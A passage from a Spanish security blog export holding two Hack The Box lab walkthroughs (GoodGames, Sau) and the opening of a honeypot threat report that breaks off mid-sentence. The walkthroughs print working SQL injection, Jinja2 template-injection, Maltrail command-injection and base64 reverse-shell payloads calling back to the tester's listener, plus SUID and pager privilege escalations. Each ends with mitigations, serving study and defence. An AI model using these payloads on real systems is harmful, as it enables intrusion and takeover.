email=admin%40goodgames.htb\u0026amp;password=1235 EOF 5.2 Confirmación de la Inyección # sqlmap -r goodgames.req Parameter: #1* ((custom) POST) Type: time-based blind Title: MySQL \u0026gt;= 5.0.12 AND time-based blind (query SLEEP) Payload: email=admin@goodgames.htb\u0026#39; AND (SELECT 5633 FROM (SELECT(SLEEP(5)))RcqB) AND \u0026#39;Wcif\u0026#39;=\u0026#39;Wcif\u0026amp;password=1235 back-end DBMS: MySQL \u0026gt;= 5.0.12 5.3 Volcado de la Tabla user # sqlmap -r goodgames.req --batch --dbs # available databases: information_schema, main sqlmap -r goodgames.req --batch -D main --tables # tables: user, blog, blog_comments sqlmap -r goodgames.req --batch -D main -T user --dump Database: main Table: user [1 entry] +----+---------------------+-------+----------------------------------+ | id | email | name | password | +----+---------------------+-------+----------------------------------+ | 1 | admin@goodgames.htb | admin | 2b22337f218b2d82dfc3b6f77e7cb8ec | +----+---------------------+-------+----------------------------------+ 5.4 Cracking del Hash MD5 # echo \u0026#34;2b22337f218b2d82dfc3b6f77e7cb8ec\u0026#34; \u0026gt; pass.txt john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt pass.txt superadministrator (?) 🔑 Credenciales: admin : superadministrator\n6. Acceso al Panel Flask Interno # Con admin / superadministrator accedemos a internal-administration.goodgames.htb.\nEn el menú lateral, Settings → General information tiene un campo Full Name editable que se refleja en el panel derecho.\n7. Explotación — Server-Side Template Injection (SSTI) # 7.1 Confirmación con Expresión Matemática # Insertamos la expresión clásica de SSTI en Jinja2:\n{{7*7}} ✅ SSTI confirmada. El 49 aparece donde debería estar el nombre — la plantilla evalúa código Python en el servidor.\n7.2 RCE con Payload de Jinja2 # {{ self.__init__.__globals__.__builtins__.__import__(\u0026#39;os\u0026#39;).popen(\u0026#39;id\u0026#39;).read() }} ✅ RCE como root dentro del contenedor Docker.\n8. Reverse Shell # Codificamos la shell en base64 para evitar problemas con caracteres especiales:\necho -ne \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.211/4444 0\u0026gt;\u0026amp;1\u0026#39; | base64 # YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMTEvNDQ0NCAwPiYx Inyectamos el payload en el campo Full Name:\n{{config.__class__.__init__.__globals__[\u0026#39;os\u0026#39;].popen(\u0026#39;echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMTEvNDQ0NCAwPiYx${IFS}|base64${IFS}-d|bash\u0026#39;).read()}} 💡 Por qué esta ruta alternativa: acceder a os a través de config.__class__.__init__.__globals__ evita filtros que bloquean self.__init__ o __builtins__ directamente. El ${IFS} reemplaza los espacios para evitar su interpretación prematura en la petición HTTP.\nnc -nlvp 4444 Connection received on 10.129.31.181 56342 root@3a453ab39d3d:/backend# whoami root Estabilizamos la TTY:\npython3 -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; # Ctrl+Z stty raw -echo; fg export TERM=xterm; export SHELL=bash stty rows 40 cols 150; reset 9. User Flag # cat /home/augustus/user.txt 🔑 Flag de usuario obtenida.\n10. Reconocimiento del Entorno — Estamos en un Contenedor # ls /backend # Dockerfile project requirements.txt ip addr # inet 172.19.0.2/16 — IP del contenedor 💡 Deducción: el contenedor tiene la IP 172.19.0.2. Por convención Docker, el host suele ser el .1 de la misma subred: 172.19.0.1.\n11. Movimiento Lateral — Reutilización de Credenciales # La contraseña extraída de la base de datos es también la del usuario augustus en el host real:\nssh augustus@172.19.0.1 # password: superadministrator augustus@GoodGames:~$ ✅ Acceso al host real como augustus.\n12. Escalada de Privilegios — Escape del Contenedor vía Volumen Compartido # La Vulnerabilidad # El directorio $HOME de augustus en el host está montado como volumen dentro del contenedor. Docker, sin user namespace remapping, hace que el root del contenedor (UID 0) y el root del host (UID 0) sean el mismo a efectos de permisos sobre ese volumen compartido.\nEl plan: copiar /bin/bash al directorio compartido desde el host, luego desde el contenedor (donde somos root) asignarle root:root y activar el bit SUID. El resultado es un bash con SUID efectivo en el host, ejecutable por augustus.\nPaso 1 — Copiar bash al directorio compartido (desde el host) # augustus@GoodGames:~$ cp /bin/bash . Paso 2 — Plantar el SUID desde el contenedor (como root) # root@3a453ab39d3d:/backend# chown root:root /home/augustus/bash root@3a453ab39d3d:/backend# chmod 4755 /home/augustus/bash Paso 3 — Ejecutar la shell con privilegios desde el host # augustus@GoodGames:~$ ./bash -p bash-5.1# id uid=1000(augustus) gid=1000(augustus) euid=0(root) groups=1000(augustus) ✅ EUID 0 obtenido. Escalada a root completada.\n13. Root Flag # bash-5.1# cat /root/root.txt 🏁 Flag de root obtenida.\n14. Resumen y Lecciones Aprendidas # Ruta de compromiso:\nRecon → Puerto 80 con portal GoodGames. SQLi → admin' or 1=1 -- - en el login → bypass de autenticación. sqlmap → volcado de BBDD main → hash MD5 de admin. John + rockyou → superadministrator. Panel interno Flask → internal-administration.goodgames.htb → login con credenciales extraídas. SSTI Jinja2 → campo Full Name en Settings evalúa código Python → RCE como root en el contenedor. Reverse shell → user flag en /home/augustus/user.txt. SSH → augustus@172.19.0.1 con la misma contraseña → acceso al host real. Volumen compartido → bash con SUID plantado desde el contenedor → ./bash -p en el host → EUID 0. Lo que aprendí con esta máquina:\nEl bypass de autenticación con SQLi es solo el primer paso, no el objetivo. El verdadero valor aquí estaba en usar esa misma inyección para extraer credenciales con sqlmap. Sin el volcado de la BBDD, el panel interno seguía siendo inaccesible. SQLi como puerta de entrada a la superficie real es el patrón a seguir siempre.\nLos hashes MD5 sin salt son trivialmente crackeables. superadministrator aparece en los primeros segundos contra rockyou. La diferencia entre MD5 y bcrypt/Argon2 no es de años — es de segundos vs. horas inviables. Cualquier base de datos que almacene MD5 sin salt está efectivamente guardando las contraseñas en claro para un atacante con acceso a ella.\nSSTI en Jinja2 es RCE si no hay sandboxing. El campo Full Name reflejaba el valor en una plantilla sin ningún tipo de escape. Jinja2 tiene un modo sandboxed (SandboxedEnvironment) diseñado exactamente para esto — si se renderiza entrada de usuario, ese es el entorno a usar. Sin él, cualquier dato controlado por el atacante que llegue a render_template_string() es ejecución de código.\n\u0026ldquo;Root en el contenedor\u0026rdquo; no equivale a \u0026ldquo;root en el host\u0026rdquo; — a menos que el aislamiento falle. En este caso falló de dos maneras simultáneas: las credenciales del sistema se reutilizaron (permitiendo SSH al host), y el volumen compartido sin remapeo de usuarios permitió modificar ficheros del host desde el contenedor. Bastaría con corregir cualquiera de los dos para romper la cadena.\nEl escape por volumen compartido + SUID es elegante precisamente porque no necesita exploits. Solo aprovecha el comportamiento por defecto de Docker (sin userns-remap) y un descuido de configuración (montar el $HOME completo del usuario). La defensa correcta no es un parche — es activar userns-remap y montar solo lo estrictamente necesario con los mínimos permisos.\nMitigaciones:\nVector Mitigación SQL Injection en el formulario de login Usar consultas parametrizadas (prepared statements); nunca concatenar input de usuario en SQL Hash MD5 sin salt para contraseñas Usar bcrypt, scrypt o Argon2 con salt individual por usuario SSTI en Jinja2 (campo Full Name) No pasar entrada de usuario a render_template_string(); usar render_template con variables, o SandboxedEnvironment si es inevitable RCE como root dentro del contenedor Ejecutar la app con usuario sin privilegios (USER no-root en el Dockerfile); aplicar filesystem read-only donde sea posible Reutilización de contraseñas entre panel y sistema operativo Credenciales distintas y aleatorias por servicio; rotar tras cualquier exposición Volumen compartido sin user namespace remapping Activar userns-remap en Docker; montar solo los subdirectorios necesarios con los mínimos permisos; no compartir $HOME completos ","date":"16 de julio de 2026","externalUrl":null,"permalink":"/es/posts/htb-goodgames/","section":"Posts","summary":" Resolución de GoodGames en Hack The Box. Máquina de dificultad Easy con sistema operativo Linux. La cadena empieza con una SQL Injection en el formulario de login que permite tanto el bypass de autenticación como el volcado de la base de datos. Un hash MD5 crackeado da acceso a un panel de administración Flask interno donde el campo de nombre de usuario es vulnerable a SSTI con Jinja2, otorgando RCE como root dentro de un contenedor Docker. La salida al host real combina reutilización de credenciales vía SSH con un escape de contenedor clásico: el directorio home del usuario está montado como volumen, y sin user namespace remapping el root del contenedor puede plantar un SUID en bash que resulta efectivo en el host. HackTheBox Linux Easy ","title":"HTB Walkthrough: GoodGames","type":"posts"},{"content":"","date":"16 de julio de 2026","externalUrl":null,"permalink":"/es/categories/htb-walkthroughs/","section":"Categories","summary":"","title":"HTB Walkthroughs","type":"categories"},{"content":"","date":"16 de julio de 2026","externalUrl":null,"permalink":"/es/tags/jinja2/","section":"Tags","summary":"","title":"Jinja2","type":"tags"},{"content":"","date":"16 de julio de 2026","externalUrl":null,"permalink":"/es/tags/linux/","section":"Tags","summary":"","title":"Linux","type":"tags"},{"content":"","date":"16 de julio de 2026","externalUrl":null,"permalink":"/es/tags/md5/","section":"Tags","summary":"","title":"MD5","type":"tags"},{"content":"","date":"16 de julio de 2026","externalUrl":null,"permalink":"/es/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"","date":"16 de julio de 2026","externalUrl":null,"permalink":"/es/tags/privesc/","section":"Tags","summary":"","title":"PrivEsc","type":"tags"},{"content":"","date":"16 de julio de 2026","externalUrl":null,"permalink":"/es/tags/rce/","section":"Tags","summary":"","title":"RCE","type":"tags"},{"content":"","date":"16 de julio de 2026","externalUrl":null,"permalink":"/es/series/","section":"Series","summary":"","title":"Series","type":"series"},{"content":"","date":"16 de julio de 2026","externalUrl":null,"permalink":"/es/tags/sqli/","section":"Tags","summary":"","title":"SQLi","type":"tags"},{"content":"","date":"16 de julio de 2026","externalUrl":null,"permalink":"/es/tags/sqlinjection/","section":"Tags","summary":"","title":"SQLInjection","type":"tags"},{"content":"","date":"16 de julio de 2026","externalUrl":null,"permalink":"/es/tags/ssti/","section":"Tags","summary":"","title":"SSTI","type":"tags"},{"content":"","date":"16 de julio de 2026","externalUrl":null,"permalink":"/es/tags/writeups/","section":"Tags","summary":"","title":"Writeups","type":"tags"},{"content":"","date":"13 de julio de 2026","externalUrl":null,"permalink":"/es/tags/commandinjection/","section":"Tags","summary":"","title":"CommandInjection","type":"tags"},{"content":"","date":"13 de julio de 2026","externalUrl":null,"permalink":"/es/tags/cve-2023-26604/","section":"Tags","summary":"","title":"CVE-2023-26604","type":"tags"},{"content":"","date":"13 de julio de 2026","externalUrl":null,"permalink":"/es/tags/cve-2023-27163/","section":"Tags","summary":"","title":"CVE-2023-27163","type":"tags"},{"content":" Resolución de Sau en Hack The Box. Máquina de dificultad Easy con sistema operativo Linux. Un SSRF en Request Baskets v1.2.1 (CVE-2023-27163) nos permite pivotar hacia Maltrail v0.53, un servicio de detección de tráfico malicioso accesible solo desde localhost. Maltrail tiene una RCE no autenticada en su endpoint de login que nos da shell como puma. La escalada a root explota el CVE-2023-26604: systemctl status ejecutado con sudo invoca less como pager heredando privilegios de root, del que escapamos con !/bin/bash. HackTheBox Linux Easy 🗺️ Información de la Máquina # Campo Detalle Nombre Sau OS Linux Dificultad Easy IP 10.129.229.26 Técnicas CVE-2023-27163 · SSRF · Maltrail RCE · CVE-2023-26604 · sudo Pager Escape 1. Reconocimiento # 1.1 Escaneo de Puertos # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.229.26 PORT STATE SERVICE 22/tcp open ssh 55555/tcp open unknown Escaneo de versiones sobre los puertos abiertos:\nnmap -sC -sV -p22,55555 10.129.229.26 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 55555/tcp open http Golang net/http server |_http-title: Request Baskets Puertos abiertos:\n22 → SSH, sin exploits públicos conocidos 55555 → Servicio Golang que redirige a /web — Request Baskets 💡 Superficie de ataque: Solo dos puertos. Toda la investigación inicial pasa por el servicio web en el 55555.\n2. Identificación de la Aplicación — Request Baskets v1.2.1 # Visitando http://10.129.229.26:55555/web confirmamos la aplicación y su versión.\nPowered by request-baskets | Version: 1.2.1 ¿Qué es Request Baskets? Una herramienta que crea \u0026ldquo;cestas\u0026rdquo; (baskets) HTTP configurables para capturar, inspeccionar y reenviar (proxy) peticiones a una URL de destino. Esta funcionalidad de reenvío es exactamente el vector de ataque.\n⚠️ Vulnerabilidad identificada: Request Baskets v1.2.1 es vulnerable a CVE-2023-27163, un SSRF (Server-Side Request Forgery): el campo forward_url de la configuración de una cesta no restringe el destino, permitiendo que el propio servidor realice peticiones HTTP hacia direcciones internas (127.0.0.1, redes privadas) en nombre del atacante.\n3. Explotación — SSRF vía Request Baskets (CVE-2023-27163) # 3.1 Paso 1 — Crear una Cesta y Verificar el SSRF # Desde /web creamos una nueva cesta. La aplicación asigna un nombre aleatorio (p. ej. h68nagt). Configuramos el forward_url hacia nuestra IP de VPN con Proxy Response y Expand Forward Path activados:\nAbrimos un listener:\nnc -lnvp 80 Disparamos la petición contra la cesta:\ncurl http://10.129.229.26:55555/h68nagt El listener recibe la petición reenviada por el servidor objetivo:\nListening on 0.0.0.0 80 Connection received on 10.129.229.26 39160 GET / HTTP/1.1 Host: 10.10.14.211 User-Agent: curl/8.14.1 X-Do-Not-Forward: 1 ✅ SSRF confirmado. El servidor objetivo realizó la petición HTTP por nosotros. La cabecera X-Do-Not-Forward: 1 es una protección interna de Request Baskets para evitar bucles de reenvío — no impide dirigir el proxy hacia destinos internos.\n3.2 Paso 2 — Pivotar hacia el Servicio Interno # Reconfiguramos la cesta para apuntar a http://127.0.0.1:80 — el localhost de la máquina objetivo, en un puerto que no apareció en el escaneo Nmap porque solo escucha en loopback:\nAl repetir la petición contra la cesta, la respuesta reenviada revela la aplicación local:\nMaltrail v0.53 — un sistema de detección de tráfico malicioso.\n💡 Por qué funciona: El puerto 80 solo está expuesto en 127.0.0.1, invisible desde el exterior. Pero el SSRF hace que sea el propio servidor quien realiza la conexión, no nosotros — para el kernel de la máquina objetivo, la petición viene de sí misma, por lo que el filtro de loopback no aplica.\n⚠️ Vulnerabilidad identificada: Maltrail v0.53 tiene una RCE no autenticada en el endpoint /login: el parámetro username se pasa sin sanitizar a un comando de sistema (logger), permitiendo inyección de comandos mediante sustitución de subshell (`...`).\n4. Explotación — RCE No Autenticada en Maltrail # 4.1 Construcción del Payload # Codificamos la reverse shell en base64 para evitar problemas con caracteres especiales en la petición:\nENC=$(echo -n \u0026#34;rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2\u0026gt;\u0026amp;1|nc 10.10.14.211 4444 \u0026gt;/tmp/f\u0026#34; | base64 -w0) 4.2 Envío a través del SSRF # Aprovechamos la cesta SSRF (configurada para reenviar a 127.0.0.1:80) para entregar el payload al endpoint de login de Maltrail:\ncurl \u0026#39;http://10.129.229.26:55555/h68nagt/login\u0026#39; \\ --data \u0026#34;username=;\\`echo+$ENC+|+base64+-d+|+sh\\`\u0026#34; Login failed 💡 Lógica del payload: El campo username cierra el contexto esperado por el comando logger e inyecta una sustitución de subshell que decodifica el payload en base64 y lo ejecuta con sh. La respuesta Login failed es el comportamiento normal — el comando ya se ejecutó en segundo plano antes de que la lógica de login termine de procesarse.\n4.3 Recepción de la Shell # nc -lnvp 4444 Listening on 0.0.0.0 4444 Connection received on 10.129.229.26 35486 sh: 0: can\u0026#39;t access tty; job control turned off $ whoami puma Estabilizamos la TTY:\npython3 -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; # Ctrl+Z stty raw -echo; fg export TERM=xterm; export SHELL=bash stty rows 40 cols 150; reset ✅ Shell obtenida como puma.\n5. User Flag # puma@sau:~$ cat ~/user.txt 🔑 Flag de usuario obtenida.\n6. Escalada de Privilegios — CVE-2023-26604 (Escape de Pager en systemctl) # 6.1 Enumeración de Permisos sudo # puma@sau:~$ sudo -l User puma may run the following commands on sau: (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service puma@sau:~$ systemctl --version systemd 245 (245.4-4ubuntu3.22) ⚠️ Vulnerabilidad identificada (CVE-2023-26604): Cuando la salida de systemctl status supera el alto de la terminal, systemd invoca automáticamente un pager (less) para paginarla. Si el comando fue ejecutado mediante sudo, ese less hereda los privilegios de root. less permite ejecutar comandos de shell arbitrarios con !\u0026lt;comando\u0026gt;, heredando esos mismos privilegios.\n6.2 Ejecución del Exploit # puma@sau:~$ sudo /usr/bin/systemctl status trail.service ● trail.service - Maltrail. Server of malicious traffic detection system Loaded: loaded (/etc/systemd/system/trail.service; enabled) Active: active (running) since Mon 2026-07-13 10:56:47 UTC; 3h 30min ago Main PID: 896 (python3) Tasks: 13 (limit: 4662) Memory: 29.3M CGroup: /system.slice/trail.service ├─ 896 /usr/bin/python3 server.py └─1342 pager La salida se abre paginada mediante less, ejecutado en el árbol de procesos de sudo — con privilegios de root. Dentro del pager escribimos:\n!/bin/bash root@sau:/opt/maltrail# id uid=0(root) gid=0(root) groups=0(root) ✅ Escalada a root completada.\n7. Root Flag # root@sau:~# cat /root/root.txt 🏁 Flag de root obtenida.\n8. Resumen y Lecciones Aprendidas # Ruta de compromiso:\nRecon → Puerto 55555 con Request Baskets v1.2.1. CVE-2023-27163 → SSRF via forward_url → confirmado reenviando petición a nuestra IP. Pivotaje → Reenvío hacia 127.0.0.1:80 → Maltrail v0.53 descubierto (solo accesible en localhost). Maltrail RCE → Inyección de comandos en parámetro username del login → reverse shell como puma. User flag → ~/user.txt. CVE-2023-26604 → sudo systemctl status invoca less como pager con privilegios de root → !/bin/bash → root. Lo que aprendí con esta máquina:\n\u0026ldquo;Solo escucha en localhost\u0026rdquo; no es una barrera de seguridad si hay un SSRF en otro servicio. El puerto 80 de Maltrail era invisible para un escáner externo, pero el SSRF convertía al propio servidor en nuestro proxy. La segmentación de red interna tiene que complementar la restricción de binding — un servicio sin autenticación en loopback sigue siendo vulnerable si hay otro servicio explotable en la misma máquina.\nUn SSRF es a menudo el primer eslabón de una cadena, no el ataque en sí. El valor del CVE-2023-27163 no estaba en el SSRF per se sino en lo que había detrás: un servicio más peligroso que solo era alcanzable a través de él. La metodología de pivotaje (confirmar SSRF → escanear rangos internos → identificar servicios ocultos) es el patrón a seguir siempre que se encuentre un SSRF.\nLa inyección de comandos en parámetros de logging es un error clásico y vigente. Maltrail usaba logger para registrar los intentos de login fallidos pasando el username sin sanitizar. Cualquier llamada a un comando externo que incluya input de usuario sin pasar por una lista de argumentos (subprocess.run([...]) en Python, equivalentes en otros lenguajes) es potencialmente vulnerable. En Maltrail el fix correcto habría sido usar los argumentos de subprocess como lista, no como string de shell.\nCVE-2023-26604 ilustra por qué los pagers interactivos son peligrosos en contextos de sudo. less es útil, pero cuando se invoca con privilegios elevados se convierte en un vector de escape trivial — !comando lo convierte efectivamente en un shell con esos privilegios. La corrección es siempre pasar --no-pager o fijar SYSTEMD_PAGER=cat en las reglas de sudoers para cualquier comando de systemd que se ejecute con sudo.\nLa cadena completa de esta máquina son dos CVEs de 2023 encadenados. Ninguno de los dos es sofisticado aisladamente — uno es un proxy mal restringido, el otro es un pager que lanza shells. El valor está en reconocer el patrón: cuando sudo permite ejecutar algo que a su vez puede abrir un proceso interactivo (pager, editor, intérprete), hay que investigar si ese proceso hereda privilegios.\nMitigaciones:\nVector Mitigación CVE-2023-27163 — SSRF en Request Baskets Actualizar a versión parcheada; validar y restringir destinos de forward_url (bloquear rangos privados y loopback) Maltrail en localhost sin autenticación No asumir que loopback es seguro; aplicar autenticación en todos los servicios independientemente del binding RCE en el login de Maltrail (inyección en logger) Actualizar Maltrail; usar listas de argumentos en llamadas a subprocesos — nunca interpolar input de usuario en strings de shell sudo NOPASSWD sobre systemctl status Añadir --no-pager o fijar SYSTEMD_PAGER=cat en la regla de sudoers; evitar permisos sudo sobre comandos que invoquen pagers interactivos CVE-2023-26604 — escape de pager con privilegios heredados Actualizar systemd a versión parcheada (≥ 247); configurar PAGER=cat para comandos ejecutables via sudo ","date":"13 de julio de 2026","externalUrl":null,"permalink":"/es/posts/htb-sau/","section":"Posts","summary":" Resolución de Sau en Hack The Box. Máquina de dificultad Easy con sistema operativo Linux. Un SSRF en Request Baskets v1.2.1 (CVE-2023-27163) nos permite pivotar hacia Maltrail v0.53, un servicio de detección de tráfico malicioso accesible solo desde localhost. Maltrail tiene una RCE no autenticada en su endpoint de login que nos da shell como puma. La escalada a root explota el CVE-2023-26604: systemctl status ejecutado con sudo invoca less como pager heredando privilegios de root, del que escapamos con !/bin/bash. HackTheBox Linux Easy ","title":"HTB Walkthrough: Sau","type":"posts"},{"content":"","date":"13 de julio de 2026","externalUrl":null,"permalink":"/es/tags/maltrail/","section":"Tags","summary":"","title":"Maltrail","type":"tags"},{"content":"","date":"13 de julio de 2026","externalUrl":null,"permalink":"/es/tags/pagerescape/","section":"Tags","summary":"","title":"PagerEscape","type":"tags"},{"content":"","date":"13 de julio de 2026","externalUrl":null,"permalink":"/es/tags/requestbaskets/","section":"Tags","summary":"","title":"RequestBaskets","type":"tags"},{"content":"","date":"13 de julio de 2026","externalUrl":null,"permalink":"/es/tags/sau/","section":"Tags","summary":"","title":"Sau","type":"tags"},{"content":"","date":"13 de julio de 2026","externalUrl":null,"permalink":"/es/tags/ssrf/","section":"Tags","summary":"","title":"SSRF","type":"tags"},{"content":"","date":"13 de julio de 2026","externalUrl":null,"permalink":"/es/tags/sudo/","section":"Tags","summary":"","title":"Sudo","type":"tags"},{"content":"","date":"13 de julio de 2026","externalUrl":null,"permalink":"/es/tags/systemd/","section":"Tags","summary":"","title":"Systemd","type":"tags"},{"content":" Primer informe semanal del honeypot T-Pot. Durante la semana del 7 al 11 de julio de 2026 se registraron aproximadamente 1.011.000 eventos de ataque distribuidos en 10 sensores activos. Lo más destacado: malware Redtail multi-arquitectura capturado en Cowrie, una cadena de infección Android completa en Adbhoney (Rebirth → minero UFO → botnet Trinity), escaneo activo de servicios de IA expuestos (Ollama, Gradio, Streamlit) y sondeo del protocolo IEC-104 usado en subestaciones eléctricas europeas. Período analizado: 7 – 11 de julio de 2026 Fuente: T-Pot (multi-honeypot + ELK Stack) — instancia expuesta públicamente en internet Clasificación: Uso en portfolio / TLP:CLEAR\n1. Resumen Ejecutivo # Durante la semana analizada, el honeypot registró ~1.011.000 eventos de ataque distribuidos en 10 sensores activos, procedentes de miles de IPs de origen únicas. La actividad no fue uniforme: se observa un pico de tráfico claro entre el 9 y el 10 de julio, coincidente en casi todos los sensores simultáneamente, lo que sugiere una o varias campañas de escaneo masivo lanzadas en ese intervalo más que actividad orgánica constante.\nLos hallazgos más relevantes de la semana:\nMalware multi-arquitectura capturado en Cowrie (familia Redtail, binarios para ARM7, ARM8, i686 y x86_64), descargado tras fuerza bruta SSH exitosa. Cadena de infección Android completa capturada en Adbhoney: descarga de loader (rebirth.arm7), instalación de una app de minería (com.ufo.miner) y ejecución de un binario asociado a la familia Trinity. Escaneo dirigido a servicios de IA expuestos (Ollama, Gradio, Streamlit) detectado en Honeytrap — un patrón propio de 2025-2026, no del malware \u0026ldquo;clásico\u0026rdquo; de IoT. Sondeo del protocolo IEC-104 (puerto 2404) en ConPot — protocolo usado en sistemas de control de subestaciones eléctricas europeas. Actividad de toll fraud contra Sentrypeer, con numeración objetivo en formato francés e internacional y métodos SIP INVITE/REGISTER predominantes. El 99%+ del tráfico está catalogado como \u0026ldquo;known attacker\u0026rdquo; por reputación de IP — infraestructura ya fichada en bases de datos de amenazas, no ruido aleatorio de internet. Una parte relevante del volumen (Modat B.V., ONYPHE SAS) corresponde a escáneres de investigación de internet conocidos (tipo Shodan/Censys), no necesariamente actores maliciosos — matiz importante para no sobrestimar el nivel de amenaza real. 2. Volumetría y Tendencia Semanal # Honeypot Eventos (semana) IPs únicas % del total Honeytrap 678.792 6.119 67,2% Cowrie (SSH/Telnet) 116.390 823 11,5% RDPHoneypot 111.818 250 11,1% Dionaea 61.123 683 6,0% Sentrypeer (SIP/VoIP) 36.522 112 3,6% Adbhoney (Android ADB) 2.618 63 0,3% Tanner ~2.000 — 0,2% ConPot (ICS/SCADA) 1.594 128 0,2% Mailoney 906 — 0,1% Honeyaml 660 — 0,1% Total aprox. ~1.011.000 — 100% Honeytrap concentra dos tercios del volumen total, pero esto es engañoso si se interpreta como \u0026ldquo;el honeypot más atacado\u0026rdquo; — Honeytrap responde en casi cualquier puerto TCP, así que absorbe todo el ruido de escaneo genérico de internet. Cowrie y RDPHoneypot, con muchos menos eventos pero interacciones más completas (login, ejecución de comandos, sesión), son los que aportan inteligencia de mayor calidad.\nLa tendencia temporal muestra actividad de fondo constante con un pico pronunciado entre el 9 y 10 de julio, visible de forma consistente en Honeytrap, RDPHoneypot y Adbhoney simultáneamente — indicio de que ese día se lanzó (o completó un ciclo de reconocimiento) una campaña de escaneo a gran escala que tocó múltiples servicios expuestos en la instancia.\n3. Análisis Geográfico y de Infraestructura # Países de origen más recurrentes # Canadá, Brasil, Francia, Singapur, Estados Unidos, Países Bajos, Bulgaria, Azerbaiyán, China e India aparecen de forma recurrente entre los distintos honeypots, con variaciones según el protocolo: Bulgaria/Azerbaiyán destacan en RDP, China/India en Cowrie.\nASN / Hosting más frecuentes # ASN Organización Honeypot Eventos 209334 Modat B.V. Honeytrap 346.372 264897 SKYMAX Telecomunicações Honeytrap 113.038 202053 UpCloud Ltd Honeytrap 76.039 14061 DigitalOcean, LLC Cowrie 21.687 197170 TechTies Inc. Cowrie 20.894 201814 MEVSPACE sp. z o.o. RDPHoneypot 39.105 213438 ColocaTel Inc. RDPHoneypot 37.466 23470 ReliableSite.Net LLC Adbhoney 2.021 Nota: Modat B.V. y ONYPHE SAS son organizaciones conocidas de escaneo de internet con fines de investigación/threat intelligence (comparables a Censys o Shodan). Un analista no cuenta este tráfico igual que el de un botnet: es ruido de fondo de internet, útil para perspectiva pero no indicativo de intención hostil dirigida.\nEn cambio, ReliableSite.Net concentra el 77% de todo el tráfico de Adbhoney (2.021 de 2.618 eventos) — señal de campaña concentrada, un único operador reutilizando infraestructura bulletproof.\nPatrón de subred repetida # Las IPs 45.153.34.149, .151, .161 y .181 aparecen en Cowrie con conteos casi idénticos (~3.817 eventos cada una). Firma típica de un operador rotando IPs dentro de un mismo /24 para evadir bloqueos por IP individual — un IDS bien configurado debería bloquear a nivel de subred, no de IP suelta.\n4. TTPs Observadas # 4.1 Credenciales objetivo — fuerza bruta SSH/RDP (Cowrie) # Usuario Intentos Contraseña Intentos Administrator 12.939 (vacío) 29.534 root 4.993 123456 896 admin 845 1234 336 ubuntu 298 password 304 user 265 12345678 233 sa 256 123 380 El dominio de Administrator (12.939 sobre 15.096 con nombre capturado) es coherente con ataques dirigidos a RDP/Windows. El usuario sa confirma sondeo a bases de datos MSSQL expuestas. Las contraseñas mezclan diccionarios genéricos con patrones \u0026ldquo;sofisticados falsos\u0026rdquo; (P@ssw0rd2025, Admin@123) diseñados para superar políticas básicas de complejidad.\nDetalle curioso: 345gs5662d34 / 3245gs5662d34 aparecen tanto como usuario como contraseña con conteos idénticos (102) — patrón de un script con un diccionario mal formado que prueba estas cadenas en ambos campos por defecto de fallback.\n4.2 Post-explotación — reconocimiento tras login (Cowrie) # Secuencia de comandos más repetida tras un login válido simulado:\nuname -a cat /proc/cpuinfo | grep name | wc -l cd ~; chattr -ia .ssh; lockr -ia .ssh free -m | grep Mem | awk \u0026#39;{print $2 ,$3, $4, $5, $6, $7}\u0026#39; ls -lh $(which ls) top Esto es un script de fingerprinting de sistema pre-despliegue de payload: recopila CPU, arquitectura y RAM antes de decidir qué binario descargar. El comando chattr -ia .ssh es especialmente revelador — bloquea el directorio .ssh con el atributo inmutable para impedir que otros actores o el propio administrador modifiquen las claves SSH. Técnica de \u0026ldquo;territorio marcado\u0026rdquo; habitual en gusanos que compiten entre sí por el mismo host.\n4.3 Alertas Suricata # Firma Count SURICATA STREAM Packet with broken ack 173.847 SURICATA STREAM spurious retransmission 96.038 SURICATA AF-PACKET truncated packet 82.279 SURICATA IPv4 truncated packet 81.337 SURICATA SSH invalid banner 15.412 ET INFO SSH session in progress on Expected Port 5.560 El grueso son escáneres agresivos y mal implementados (conexiones TCP mal cerradas, banners SSH inválidos de herramientas automatizadas), no exploits activos. Importante no presentar los 173.847 paquetes rotos como \u0026ldquo;173.847 ataques\u0026rdquo; — es telemetría de ruido de fondo, no intentos de intrusión reales.\n4.4 CVEs correlacionados por Suricata # CVE Detecciones Familia CVE-1999-0016 12 Land attack (IP spoofing) CVE-2022-37055 11 — CVE-2019-12263 y relacionados 7 — CVE-2020-11900 3 Ripple20 (pila TCP/IP Treck, IoT/ICS) CVE-2020-11910 1 Ripple20 CVE-2020-11900/11910 pertenecen a la familia Ripple20 (pila TCP/IP Treck usada en dispositivos IoT/industriales), coherente con el perfil general de tráfico oportunista contra dispositivos embebidos de toda la semana.\n4.5 Escaneo de servicios de IA expuestos (Honeytrap) # Puerto Servicio típico 11434 Ollama (API de inferencia LLM) 7860 Gradio (interfaz web de demos ML/IA) 8501 Streamlit (dashboards ML/IA) 1337 Clásico de herramientas de hacking 8728 API de MikroTik (routers) El escaneo activo y sostenido contra Ollama, Gradio y Streamlit es un hallazgo distintivo: confirma que los actores de amenazas ya incorporan infraestructura de IA autoalojada mal asegurada como objetivo de reconocimiento masivo, en la misma categoría que routers o cámaras IP expuestas. En 2026 esto ya no es una tendencia emergente — es tráfico de fondo.\n5. Malware y Payloads Capturados # 5.1 Cowrie — familia Redtail (multi-arquitectura) # Tras intentos de login exitosos, se capturaron descargas de:\nredtail.arm7 redtail.arm8 redtail.i686 redtail.x86_64 La compilación para cuatro arquitecturas (ARM 32/64-bit, x86 e x86_64) confirma un loader diseñado para maximizar compatibilidad entre servidores cloud (x86_64), dispositivos embebidos ARM y sistemas legacy (i686) — patrón típico de botnets de minería de criptomonedas modernas que no distinguen tipo de víctima.\n5.2 Adbhoney — cadena de infección Android completa # La captura más completa de la semana. Secuencia observada íntegramente:\n# 1. Descarga del loader (botnet Rebirth, variante 